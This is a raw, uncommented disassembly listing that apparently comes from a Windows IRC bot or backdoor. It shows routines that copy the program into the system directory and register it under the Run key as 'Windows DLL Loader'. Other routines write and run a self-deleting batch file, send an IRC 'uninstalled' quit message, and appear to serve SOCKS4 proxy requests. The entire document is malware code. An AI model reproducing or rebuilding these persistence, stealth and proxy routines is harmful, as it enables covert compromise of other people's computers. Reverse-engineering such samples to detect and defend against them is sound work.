; ---------------------------------------------------------------------------


loc_40678B:				; CODE XREF: sub_406722+5Bj
		push	4
		push	offset aHklm	; "HKLM"
		push	[ebp+arg_4]
		call	sub_416F80	; _strnicmp
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_4067AD
		mov	[ebp+var_218], 80000002h
		jmp	short loc_4067D4
; ---------------------------------------------------------------------------


loc_4067AD:				; CODE XREF: sub_406722+7Dj
		push	4
		push	offset aHkus	; "HKUS"
		push	[ebp+arg_4]
		call	sub_416F80	; _strnicmp
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_4067CF
		mov	[ebp+var_218], 80000003h
		jmp	short loc_4067D4
; ---------------------------------------------------------------------------


loc_4067CF:				; CODE XREF: sub_406722+9Fj
		jmp	locret_406A21
; ---------------------------------------------------------------------------


loc_4067D4:				; CODE XREF: sub_406722+45j
					; sub_406722+67j ...
		mov	eax, [ebp+arg_4]
		add	eax, 5
		mov	[ebp+arg_4], eax
		push	[ebp+arg_4]
		call	sub_416B40
		pop	ecx
		mov	[ebp+var_210], eax
		jmp	short loc_4067FB
; ---------------------------------------------------------------------------


loc_4067EE:				; CODE XREF: sub_406722:loc_406858j
		mov	eax, [ebp+var_210]
		dec	eax
		mov	[ebp+var_210], eax


loc_4067FB:				; CODE XREF: sub_406722+CAj
		cmp	[ebp+var_210], 0
		jnz	short loc_406809
		jmp	locret_406A21
; ---------------------------------------------------------------------------


loc_406809:				; CODE XREF: sub_406722+E0j
		mov	eax, [ebp+arg_4]
		add	eax, [ebp+var_210]
		movsx	eax, byte ptr [eax]
		cmp	eax, 5Ch
		jnz	short loc_406858
		mov	eax, [ebp+var_210]
		mov	ecx, [ebp+arg_4]
		lea	eax, [ecx+eax+1]
		push	eax
		call	sub_416B40
		pop	ecx
		cmp	eax, 200h
		jb	short loc_40683A
		jmp	locret_406A21
; ---------------------------------------------------------------------------


loc_40683A:				; CODE XREF: sub_406722+111j
		mov	eax, [ebp+var_210]
		mov	ecx, [ebp+arg_4]
		lea	eax, [ecx+eax+1]
		push	eax
		lea	eax, [ebp+var_20C]
		push	eax
		call	sub_416B3A	; strcpy
		pop	ecx
		pop	ecx
		jmp	short loc_40685A
; ---------------------------------------------------------------------------


loc_406858:				; CODE XREF: sub_406722+F6j
		jmp	short loc_4067EE
; ---------------------------------------------------------------------------


loc_40685A:				; CODE XREF: sub_406722+134j
		cmp	[ebp+var_210], 200h
		jb	short loc_40686B
		jmp	locret_406A21
; ---------------------------------------------------------------------------


loc_40686B:				; CODE XREF: sub_406722+142j
		push	[ebp+var_210]
		push	[ebp+arg_4]
		lea	eax, [ebp+var_418]
		push	eax
		call	sub_416B52
		add	esp, 0Ch
		mov	eax, [ebp+var_210]
		and	[ebp+eax+var_418], 0
		lea	eax, [ebp+var_C]
		push	eax
		push	1
		push	0
		lea	eax, [ebp+var_418]
		push	eax
		push	[ebp+var_218]
		call	dword_417008
		test	eax, eax
		jz	short loc_4068B5
		jmp	locret_406A21
; ---------------------------------------------------------------------------


loc_4068B5:				; CODE XREF: sub_406722+18Cj
		mov	[ebp+var_8], 1000h
		push	[ebp+var_8]
		call	sub_416B46
		pop	ecx
		mov	[ebp+var_214], eax
		lea	eax, [ebp+var_8]
		push	eax
		push	[ebp+var_214]
		lea	eax, [ebp+var_4]
		push	eax
		push	0
		lea	eax, [ebp+var_20C]
		push	eax
		push	[ebp+var_C]
		call	dword_41700C
		test	eax, eax
		jnz	loc_406A0C
		cmp	[ebp+var_4], 1
		jz	short loc_4068FF
		cmp	[ebp+var_4], 2
		jnz	short loc_406915


loc_4068FF:				; CODE XREF: sub_406722+1D5j
		push	[ebp+var_214]
		push	offset dword_418B64
		push	[ebp+arg_0]
		call	sub_40D53F
		add	esp, 0Ch


loc_406915:				; CODE XREF: sub_406722+1DBj
		cmp	[ebp+var_4], 4
		jnz	short loc_406933
		mov	eax, [ebp+var_214]
		push	dword ptr [eax]
		push	offset dword_418B5C
		push	[ebp+arg_0]
		call	sub_40D53F
		add	esp, 0Ch


loc_406933:				; CODE XREF: sub_406722+1F7j
		cmp	[ebp+var_4], 3
		jnz	loc_406A0C
		push	180h
		call	sub_416B46
		pop	ecx
		mov	[ebp+var_420], eax
		mov	eax, [ebp+var_420]
		and	byte ptr [eax],	0
		and	[ebp+var_41C], 0
		jmp	short loc_40696D
; ---------------------------------------------------------------------------


loc_406960:				; CODE XREF: sub_406722+2C3j
		mov	eax, [ebp+var_41C]
		inc	eax
		mov	[ebp+var_41C], eax


loc_40696D:				; CODE XREF: sub_406722+23Cj
		mov	eax, [ebp+var_41C]
		cmp	eax, [ebp+var_8]
		jnb	short loc_4069EA
		mov	eax, [ebp+var_214]
		add	eax, [ebp+var_41C]
		movzx	eax, byte ptr [eax]
		push	eax
		push	offset dword_418B54
		lea	eax, [ebp+var_424]
		push	eax
		call	sub_416B5E
		add	esp, 0Ch
		push	[ebp+var_420]
		call	sub_416B40
		pop	ecx
		add	eax, 3
		cmp	eax, 180h
		jb	short loc_4069D1
		push	[ebp+var_420]
		push	offset dword_418B64
		push	[ebp+arg_0]
		call	sub_40D53F
		add	esp, 0Ch
		mov	eax, [ebp+var_420]
		and	byte ptr [eax],	0


loc_4069D1:				; CODE XREF: sub_406722+28Ej
		lea	eax, [ebp+var_424]
		push	eax
		push	[ebp+var_420]
		call	sub_416B70
		pop	ecx
		pop	ecx
		jmp	loc_406960
; ---------------------------------------------------------------------------


loc_4069EA:				; CODE XREF: sub_406722+254j
		push	[ebp+var_420]
		push	offset dword_418B64
		push	[ebp+arg_0]
		call	sub_40D53F
		add	esp, 0Ch
		push	[ebp+var_420]
		call	sub_416B4C
		pop	ecx


loc_406A0C:				; CODE XREF: sub_406722+1CBj
					; sub_406722+215j
		push	[ebp+var_214]
		call	sub_416B4C
		pop	ecx
		push	[ebp+var_C]
		call	dword_417028

locret_406A21:				; CODE XREF: sub_406722+Fj
					; sub_406722+20j ...
		leave
		retn
sub_406722	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406A23	proc near		; CODE XREF: sub_40D043:loc_40D18Dp
					; sub_40D871:loc_40DB71p

var_20C		= byte ptr -20Ch
var_108		= dword	ptr -108h
var_104		= byte ptr -104h

		push	ebp
		mov	ebp, esp
		sub	esp, 20Ch
		push	104h
		lea	eax, [ebp+var_20C]
		push	eax
		call	dword_417050
		push	offset dword_418DE4
		lea	eax, [ebp+var_20C]
		push	eax
		call	sub_416B70
		pop	ecx
		pop	ecx
		push	offset dword_41DD1C
		lea	eax, [ebp+var_104]
		push	eax
		call	sub_416B3A	; strcpy
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_104]
		push	eax
		call	sub_4105FB
		pop	ecx
		lea	eax, [ebp+var_104]
		push	eax
		lea	eax, [ebp+var_20C]
		push	eax
		call	sub_416B70
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_20C]
		push	eax
		call	dword_4170AC
		push	offset dword_4182AC
		lea	eax, [ebp+var_20C]
		push	eax
		call	sub_416B88
		pop	ecx
		pop	ecx
		mov	[ebp+var_108], eax
		cmp	[ebp+var_108], 0
		jz	short locret_406AE5
		push	[ebp+var_108]
		push	1
		push	2
		push	offset dword_418DE0
		call	sub_416B7C
		add	esp, 10h
		push	[ebp+var_108]
		call	sub_416B82
		pop	ecx
		lea	eax, [ebp+var_20C]
		push	eax
		call	sub_406B81
		pop	ecx

locret_406AE5:				; CODE XREF: sub_406A23+90j
		leave
		retn
sub_406A23	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406AE7	proc near		; CODE XREF: sub_40D043+13Dp
					; sub_40D871+2F3p

var_20C		= byte ptr -20Ch
var_108		= dword	ptr -108h
var_104		= byte ptr -104h

		push	ebp
		mov	ebp, esp
		sub	esp, 20Ch
		push	104h
		lea	eax, [ebp+var_20C]
		push	eax
		call	dword_417050
		push	offset dword_418DE4
		lea	eax, [ebp+var_20C]
		push	eax
		call	sub_416B70
		pop	ecx
		pop	ecx
		push	offset dword_41DD1C
		lea	eax, [ebp+var_104]
		push	eax
		call	sub_416B3A	; strcpy
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_104]
		push	eax
		call	sub_4105FB
		pop	ecx
		lea	eax, [ebp+var_104]
		push	eax
		lea	eax, [ebp+var_20C]
		push	eax
		call	sub_416B70
		pop	ecx
		pop	ecx
		push	offset aRb	; "rb"
		lea	eax, [ebp+var_20C]
		push	eax
		call	sub_416B88
		pop	ecx
		pop	ecx
		mov	[ebp+var_108], eax
		cmp	[ebp+var_108], 0
		jz	short loc_406B7D
		push	[ebp+var_108]
		call	sub_416B82
		pop	ecx
		push	1
		pop	eax
		jmp	short locret_406B7F
; ---------------------------------------------------------------------------


loc_406B7D:				; CODE XREF: sub_406AE7+83j
		xor	eax, eax

locret_406B7F:				; CODE XREF: sub_406AE7+94j
		leave
		retn
sub_406AE7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406B81	proc near		; CODE XREF: sub_406A23+BCp
					; sub_406E8E+246p

var_120		= dword	ptr -120h
var_11C		= byte ptr -11Ch
var_18		= byte ptr -18h
var_10		= byte ptr -10h
var_8		= byte ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 120h
		push	104h
		lea	eax, [ebp+var_11C]
		push	eax
		call	dword_417040
		push	offset dword_418DE8
		lea	eax, [ebp+var_11C]
		push	eax
		call	sub_416B70
		pop	ecx
		pop	ecx
		push	0
		push	80h
		push	3
		push	0
		push	1
		push	80000000h
		lea	eax, [ebp+var_11C]
		push	eax
		call	dword_417044
		mov	[ebp+var_120], eax
		cmp	[ebp+var_120], 0FFFFFFFFh
		jz	short locret_406C4F
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_18]
		push	eax
		push	[ebp+var_120]
		call	dword_417048
		push	[ebp+var_120]
		call	dword_4170A4
		push	0
		push	80h
		push	3
		push	0
		push	2
		push	40000000h
		push	[ebp+arg_0]
		call	dword_417044
		mov	[ebp+var_120], eax
		cmp	[ebp+var_120], 0FFFFFFFFh
		jz	short locret_406C4F
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_18]
		push	eax
		push	[ebp+var_120]
		call	dword_41704C
		push	[ebp+var_120]
		call	dword_4170A4

locret_406C4F:				; CODE XREF: sub_406B81+5Aj
					; sub_406B81+A8j
		leave
		retn
sub_406B81	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406C51	proc near		; CODE XREF: sub_406E8E+133p
					; sub_406E8E+214p ...

var_108		= byte ptr -108h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 108h
		push	0
		lea	eax, [ebp+var_4]
		push	eax
		push	0
		push	0F003Fh
		push	0
		push	0
		push	0
		push	offset aSoftwareMicros ; "Software\\Microsoft\\Windows\\CurrentVersi"...
		push	80000002h
		call	dword_417014
		cmp	[ebp+arg_0], 0
		jz	short loc_406CE1
		push	104h
		lea	eax, [ebp+var_108]
		push	eax
		call	dword_417050
		push	offset dword_418DE4
		lea	eax, [ebp+var_108]
		push	eax
		call	sub_416B70
		pop	ecx
		pop	ecx
		push	[ebp+arg_8]
		lea	eax, [ebp+var_108]
		push	eax
		call	sub_416B70
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_108]
		push	eax
		call	dword_41703C
		inc	eax
		push	eax
		lea	eax, [ebp+var_108]
		push	eax
		push	1
		push	0
		push	[ebp+arg_4]
		push	[ebp+var_4]
		call	dword_417010
		jmp	short loc_406CED
; ---------------------------------------------------------------------------


loc_406CE1:				; CODE XREF: sub_406C51+30j
		push	[ebp+arg_4]
		push	[ebp+var_4]
		call	dword_417004


loc_406CED:				; CODE XREF: sub_406C51+8Ej
		push	[ebp+var_4]
		call	dword_417028
		leave
		retn
sub_406C51	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406CF8	proc near		; CODE XREF: sub_406D47+2Bp
					; sub_406E8E+253p ...

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_8], eax
		push	[ebp+arg_0]
		call	sub_416B40
		pop	ecx
		mov	[ebp+var_C], eax
		and	[ebp+var_4], 0
		jmp	short loc_406D1D
; ---------------------------------------------------------------------------


loc_406D16:				; CODE XREF: sub_406CF8:loc_406D40j
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax


loc_406D1D:				; CODE XREF: sub_406CF8+1Cj
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+var_C]
		jnb	short loc_406D42
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		movsx	eax, byte ptr [eax]
		cmp	eax, 5Ch
		jnz	short loc_406D40
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+arg_0]
		lea	eax, [ecx+eax+1]
		mov	[ebp+var_8], eax


loc_406D40:				; CODE XREF: sub_406CF8+39j
		jmp	short loc_406D16
; ---------------------------------------------------------------------------


loc_406D42:				; CODE XREF: sub_406CF8+2Bj
		mov	eax, [ebp+var_8]
		leave
		retn
sub_406CF8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406D47	proc near		; CODE XREF: sub_406E8E+9p
					; sub_407148+9p

var_108		= byte ptr -108h
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 108h
		push	104h
		lea	eax, [ebp+var_108]
		push	eax
		push	0
		call	dword_41708C
		push	eax
		call	dword_417090
		lea	eax, [ebp+var_108]
		push	eax
		call	sub_406CF8
		pop	ecx
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		and	byte ptr [eax],	0
		lea	eax, [ebp+var_108]
		push	eax
		call	dword_417038
		leave
		retn
sub_406D47	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406D90	proc near		; CODE XREF: sub_406E8E+25Ap
					; sub_407148+168p ...

var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= byte ptr -18h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 28h
		push	8
		push	4
		call	sub_4103F5
		pop	ecx
		pop	ecx
		mov	[ebp+var_20], eax
		and	[ebp+var_1C], 0


loc_406DA8:				; CODE XREF: sub_406D90:loc_406DDFj
		push	7Ah
		push	61h
		call	sub_4103F5
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+var_1C]
		mov	[ebp+ecx+var_18], al
		mov	eax, [ebp+var_1C]
		inc	eax
		mov	[ebp+var_1C], eax
		mov	eax, [ebp+var_1C]
		cmp	eax, [ebp+var_20]
		jnz	short loc_406DDF
		push	offset a_bat	; ".bat"
		mov	eax, [ebp+var_1C]
		lea	eax, [ebp+eax+var_18]
		push	eax
		call	sub_416B3A	; strcpy
		pop	ecx
		pop	ecx
		jmp	short loc_406DE1
; ---------------------------------------------------------------------------


loc_406DDF:				; CODE XREF: sub_406D90+37j
		jmp	short loc_406DA8
; ---------------------------------------------------------------------------


loc_406DE1:				; CODE XREF: sub_406D90+4Dj
		push	[ebp+arg_0]
		call	sub_416B40
		pop	ecx
		mov	[ebp+var_8], eax
		push	400h
		call	sub_416B46
		pop	ecx
		mov	[ebp+var_24], eax
		lea	eax, [ebp+var_18]
		push	eax
		call	dword_4170AC
		push	0
		push	0
		push	2
		push	0
		push	0
		push	40000000h
		lea	eax, [ebp+var_18]
		push	eax
		call	dword_417044
		mov	[ebp+var_28], eax
		cmp	[ebp+var_28], 0FFFFFFFFh
		jnz	short loc_406E2B
		xor	eax, eax
		jmp	short locret_406E8C
; ---------------------------------------------------------------------------


loc_406E2B:				; CODE XREF: sub_406D90+95j
		lea	eax, [ebp+var_18]
		push	eax
		push	[ebp+arg_0]
		push	[ebp+arg_0]
		push	[ebp+arg_0]
		push	offset a@echoOffDelete ; "@echo	off\r\n:deleteagain\r\ndel /A:H	/F %s"...
		push	[ebp+var_24]
		call	dword_4171E0
		add	esp, 18h
		and	[ebp+var_4], 0
		push	0
		lea	eax, [ebp+var_4]
		push	eax
		push	[ebp+var_24]
		call	sub_416B40
		pop	ecx
		push	eax
		push	[ebp+var_24]
		push	[ebp+var_28]
		call	dword_417068
		push	[ebp+var_28]
		call	dword_4170A4
		push	0
		push	0
		push	0
		lea	eax, [ebp+var_18]
		push	eax
		push	offset aOpen	; "open"
		push	0
		call	dword_4171D0
		push	1
		pop	eax

locret_406E8C:				; CODE XREF: sub_406D90+99j
		leave
		retn
sub_406D90	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406E8E	proc near		; CODE XREF: .packed:loc_4169E1p

var_368		= dword	ptr -368h
var_338		= word ptr -338h
var_324		= byte ptr -324h
var_220		= dword	ptr -220h
var_21C		= byte ptr -21Ch
var_118		= byte ptr -118h
var_14		= dword	ptr -14h
var_10		= byte ptr -10h

		push	ebp
		mov	ebp, esp
		sub	esp, 368h
		call	sub_406D47
		push	104h
		lea	eax, [ebp+var_324]
		push	eax
		push	0
		call	dword_41708C
		push	eax
		call	dword_417090
		and	[ebp+var_14], 0
		and	[ebp+var_220], 0
		jmp	short loc_406ED1
; ---------------------------------------------------------------------------


loc_406EC4:				; CODE XREF: sub_406E8E:loc_406FF8j
		mov	eax, [ebp+var_220]
		inc	eax
		mov	[ebp+var_220], eax


loc_406ED1:				; CODE XREF: sub_406E8E+34j
		mov	eax, [ebp+var_220]
		shl	eax, 1
		cmp	off_418B88[eax*4], 0
		jz	loc_406FFD
		mov	eax, [ebp+var_14]
		inc	eax
		mov	[ebp+var_14], eax
		push	104h
		lea	eax, [ebp+var_21C]
		push	eax
		call	dword_417050
		push	offset dword_418DE4
		lea	eax, [ebp+var_21C]
		push	eax
		call	sub_416B70
		pop	ecx
		pop	ecx
		mov	eax, [ebp+var_220]
		shl	eax, 1
		push	off_418B88[eax*4]
		call	sub_4105FB
		pop	ecx
		mov	eax, [ebp+var_220]
		shl	eax, 1
		push	off_418B88[eax*4]
		lea	eax, [ebp+var_21C]
		push	eax
		call	sub_416B70
		pop	ecx
		pop	ecx
		mov	eax, [ebp+var_220]
		shl	eax, 1
		push	off_418B88[eax*4]
		call	sub_4105AD
		pop	ecx
		lea	eax, [ebp+var_324]
		push	eax
		lea	eax, [ebp+var_21C]
		push	eax
		call	sub_416F74
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	loc_406FF8
		mov	eax, [ebp+var_220]
		shl	eax, 1
		push	off_418B88[eax*4]
		call	sub_4105FB
		pop	ecx
		mov	eax, [ebp+var_220]
		shl	eax, 1
		push	off_418B8C[eax*4]
		call	sub_4105FB
		pop	ecx
		mov	eax, [ebp+var_220]
		shl	eax, 1
		push	off_418B88[eax*4]
		mov	eax, [ebp+var_220]
		shl	eax, 1
		push	off_418B8C[eax*4]
		push	1
		call	sub_406C51
		add	esp, 0Ch
		mov	eax, [ebp+var_220]
		shl	eax, 1
		push	off_418B88[eax*4]
		call	sub_4105AD
		pop	ecx
		mov	eax, [ebp+var_220]
		shl	eax, 1
		push	off_418B8C[eax*4]
		call	sub_4105AD
		pop	ecx
		jmp	locret_407146
; ---------------------------------------------------------------------------


loc_406FF8:				; CODE XREF: sub_406E8E+E3j
		jmp	loc_406EC4
; ---------------------------------------------------------------------------


loc_406FFD:				; CODE XREF: sub_406E8E+53j
		push	[ebp+var_14]
		push	0
		call	sub_4103F5
		pop	ecx
		pop	ecx
		mov	[ebp+var_14], eax
		push	104h
		lea	eax, [ebp+var_118]
		push	eax
		call	dword_417050
		push	offset dword_418DE4
		lea	eax, [ebp+var_118]
		push	eax
		call	sub_416B70
		pop	ecx
		pop	ecx
		mov	eax, [ebp+var_14]
		shl	eax, 1
		push	off_418B88[eax*4]
		call	sub_4105FB
		pop	ecx
		mov	eax, [ebp+var_14]
		shl	eax, 1
		push	off_418B88[eax*4]
		lea	eax, [ebp+var_118]
		push	eax
		call	sub_416B70
		pop	ecx
		pop	ecx
		mov	eax, [ebp+var_14]
		shl	eax, 1
		push	off_418B88[eax*4]
		call	sub_4105AD
		pop	ecx
		lea	eax, [ebp+var_118]
		push	eax
		call	dword_4170AC


loc_40707C:				; DATA XREF: .packed:0041AD4Co
					; .packed:0041AD60o ...
		push	0
		lea	eax, [ebp+var_118]
		push	eax
		lea	eax, [ebp+var_324]
		push	eax
		call	dword_417060
		test	eax, eax
		jnz	short loc_4070AF
		push	offset dword_41EC0C
		push	offset aWindowsDllLoad ; "Windows DLL Loader"
		push	1
		call	sub_406C51
		add	esp, 0Ch
		jmp	locret_407146
; ---------------------------------------------------------------------------


loc_4070AF:				; CODE XREF: sub_406E8E+206j
		push	4
		lea	eax, [ebp+var_118]
		push	eax
		call	dword_4170A8
		push	2
		lea	eax, [ebp+var_118]
		push	eax
		call	dword_4170A8
		lea	eax, [ebp+var_118]
		push	eax
		call	sub_406B81
		pop	ecx
		lea	eax, [ebp+var_324]
		push	eax
		call	sub_406CF8
		pop	ecx
		push	eax
		call	sub_406D90
		pop	ecx
		push	44h
		push	0
		lea	eax, [ebp+var_368]
		push	eax
		call	sub_416B6A
		add	esp, 0Ch
		mov	[ebp+var_368], 44h
		and	[ebp+var_338], 0
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_368]
		push	eax
		push	0
		push	0
		push	28h
		push	1
		push	0
		push	0
		lea	eax, [ebp+var_118]
		push	eax
		push	0
		call	dword_41707C
		call	dword_417254
		push	0
		call	sub_416BFC

locret_407146:				; CODE XREF: sub_406E8E+165j
					; sub_406E8E+21Cj
		leave
		retn
sub_406E8E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_407148	proc near		; CODE XREF: sub_402A32+7BBp
					; sub_40A9CF+145Fp ...

var_20C		= byte ptr -20Ch
var_108		= dword	ptr -108h
var_104		= byte ptr -104h

		push	ebp
		mov	ebp, esp
		sub	esp, 20Ch
		call	sub_406D47
		push	104h
		lea	eax, [ebp+var_20C]
		push	eax
		push	0
		call	dword_41708C
		push	eax
		call	dword_417090
		and	[ebp+var_108], 0
		jmp	short loc_407187
; ---------------------------------------------------------------------------


loc_40717A:				; CODE XREF: sub_407148:loc_4072DBj
		mov	eax, [ebp+var_108]
		inc	eax
		mov	[ebp+var_108], eax


loc_407187:				; CODE XREF: sub_407148+30j
		mov	eax, [ebp+var_108]
		shl	eax, 1
		cmp	off_418B88[eax*4], 0
		jz	loc_4072E0
		push	104h
		lea	eax, [ebp+var_104]
		push	eax
		call	dword_417050
		push	offset dword_418DE4
		lea	eax, [ebp+var_104]
		push	eax
		call	sub_416B70
		pop	ecx
		pop	ecx
		mov	eax, [ebp+var_108]
		shl	eax, 1
		push	off_418B88[eax*4]
		call	sub_4105FB
		pop	ecx
		mov	eax, [ebp+var_108]
		shl	eax, 1
		push	off_418B88[eax*4]
		lea	eax, [ebp+var_104]
		push	eax
		call	sub_416B70
		pop	ecx
		pop	ecx
		mov	eax, [ebp+var_108]
		shl	eax, 1
		push	off_418B88[eax*4]
		call	sub_4105AD
		pop	ecx
		lea	eax, [ebp+var_20C]
		push	eax
		lea	eax, [ebp+var_104]
		push	eax
		call	sub_416F74
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	loc_4072DB
		mov	eax, [ebp+var_108]
		shl	eax, 1
		push	off_418B88[eax*4]
		call	sub_4105FB
		pop	ecx
		mov	eax, [ebp+var_108]
		shl	eax, 1
		push	off_418B8C[eax*4]
		call	sub_4105FB
		pop	ecx
		mov	eax, [ebp+var_108]
		shl	eax, 1
		push	off_418B88[eax*4]
		mov	eax, [ebp+var_108]
		shl	eax, 1
		push	off_418B8C[eax*4]
		push	0
		call	sub_406C51
		add	esp, 0Ch
		mov	eax, [ebp+var_108]
		shl	eax, 1
		push	off_418B88[eax*4]
		call	sub_4105AD
		pop	ecx
		mov	eax, [ebp+var_108]
		shl	eax, 1
		push	off_418B8C[eax*4]
		call	sub_4105AD
		pop	ecx
		lea	eax, [ebp+var_20C]
		push	eax
		call	sub_406CF8
		pop	ecx
		push	eax
		call	sub_406D90
		pop	ecx
		test	eax, eax
		jz	short loc_4072D9
		push	offset dword_41EC0C
		push	offset aQuitSUninstall ; "QUIT :%s uninstalled."
		call	sub_40D6CB
		pop	ecx
		pop	ecx
		call	dword_417254
		push	0
		call	dword_41705C


loc_4072D9:				; CODE XREF: sub_407148+170j
		jmp	short locret_40732B
; ---------------------------------------------------------------------------


loc_4072DB:				; CODE XREF: sub_407148+D8j
		jmp	loc_40717A
; ---------------------------------------------------------------------------


loc_4072E0:				; CODE XREF: sub_407148+4Fj
		push	offset dword_41EC0C
		push	offset aWindowsDllLoad ; "Windows DLL Loader"
		push	0
		call	sub_406C51
		add	esp, 0Ch
		lea	eax, [ebp+var_20C]
		push	eax
		call	sub_406CF8
		pop	ecx
		push	eax
		call	sub_406D90
		pop	ecx
		test	eax, eax
		jz	short locret_40732B
		push	offset dword_41EC0C
		push	offset aQuitSUninstall ; "QUIT :%s uninstalled."
		call	sub_40D6CB
		pop	ecx
		pop	ecx
		call	dword_417254
		push	0
		call	dword_41705C

locret_40732B:				; CODE XREF: sub_407148:loc_4072D9j
					; sub_407148+1C2j
		leave
		retn
sub_407148	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40732D	proc near		; DATA XREF: sub_40764D+145o

var_16F0	= dword	ptr -16F0h
var_16EC	= dword	ptr -16ECh
var_16E8	= dword	ptr -16E8h
var_16E4	= dword	ptr -16E4h
var_16E0	= byte ptr -16E0h
var_6E0		= byte ptr -6E0h
var_5E0		= dword	ptr -5E0h
var_5DC		= byte ptr -5DCh
var_5D4		= dword	ptr -5D4h
var_5D0		= byte ptr -5D0h
var_5CF		= byte ptr -5CFh
var_5CE		= dword	ptr -5CEh
var_5C8		= byte ptr -5C8h
var_1C8		= dword	ptr -1C8h
var_1BE		= byte ptr -1BEh
var_1AE		= byte ptr -1AEh
var_1B		= byte ptr -1Bh
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 16F0h
		call	sub_416BC0
		push	1BDh
		push	[ebp+arg_0]
		lea	eax, [ebp+var_1C8]
		push	eax
		call	sub_416B52
		add	esp, 0Ch
		push	[ebp+arg_0]
		call	sub_416B4C
		pop	ecx
		mov	eax, [ebp+var_1C8]
		mov	[ebp+var_5D4], eax
		push	0
		push	408h
		lea	eax, [ebp+var_5D0]
		push	eax
		push	[ebp+var_5D4]
		call	dword_417248
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0
		jz	short loc_40738F
		cmp	[ebp+var_8], 0FFFFFFFFh
		jnz	short loc_407396


loc_40738F:				; CODE XREF: sub_40732D+5Aj
		xor	eax, eax
		jmp	locret_407649
; ---------------------------------------------------------------------------


loc_407396:				; CODE XREF: sub_40732D+60j
		movzx	eax, [ebp+var_5D0]
		cmp	eax, 4
		jnz	short loc_4073BA
		movzx	eax, [ebp+var_5CF]
		cmp	eax, 1
		jnz	short loc_4073BA
		mov	[ebp+var_16EC],	1
		jmp	short loc_4073C1
; ---------------------------------------------------------------------------


loc_4073BA:				; CODE XREF: sub_40732D+73j
					; sub_40732D+7Fj
		and	[ebp+var_16EC],	0


loc_4073C1:				; CODE XREF: sub_40732D+8Bj
		mov	eax, [ebp+var_16EC]
		mov	[ebp+var_4], eax
		movsx	eax, [ebp+var_1BE]
		test	eax, eax
		jz	short loc_4073F5
		push	10h
		lea	eax, [ebp+var_1BE]
		push	eax
		lea	eax, [ebp+var_5C8]
		push	eax
		call	sub_416BF0
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_4073F5
		and	[ebp+var_4], 0


loc_4073F5:				; CODE XREF: sub_40732D+A6j
					; sub_40732D+C2j
		movsx	eax, [ebp+var_1B]
		test	eax, eax
		jz	short loc_407456
		lea	eax, [ebp+var_6E0]
		push	eax
		push	[ebp+var_5D4]
		call	sub_4044F7
		pop	ecx
		pop	ecx
		cmp	[ebp+var_4], 0
		jz	short loc_407423
		mov	[ebp+var_16F0],	offset byte_41DF10
		jmp	short loc_40742D
; ---------------------------------------------------------------------------


loc_407423:				; CODE XREF: sub_40732D+E8j
		mov	[ebp+var_16F0],	offset dword_418EEC


loc_40742D:				; CODE XREF: sub_40732D+F4j
		push	[ebp+var_16F0]
		movzx	eax, [ebp+var_5D0]
		push	eax
		lea	eax, [ebp+var_6E0]
		push	eax
		push	offset dword_418EB8
		lea	eax, [ebp+var_1AE]
		push	eax
		call	sub_40D53F
		add	esp, 14h


loc_407456:				; CODE XREF: sub_40732D+CEj
		cmp	[ebp+var_4], 0
		jnz	short loc_4074A0
		push	8
		push	0
		lea	eax, [ebp+var_5D0]
		push	eax
		call	sub_416B6A
		add	esp, 0Ch
		mov	[ebp+var_5CF], 5Bh
		push	8
		lea	eax, [ebp+var_5D0]
		push	eax
		push	[ebp+var_5D4]
		call	sub_4053BF
		add	esp, 0Ch
		push	[ebp+var_5D4]
		call	sub_40538D
		pop	ecx
		xor	eax, eax
		jmp	locret_407649
; ---------------------------------------------------------------------------


loc_4074A0:				; CODE XREF: sub_40732D+12Dj
		push	0Ah
		lea	eax, [ebp+var_5DC]
		push	eax
		push	[ebp+var_5CE]
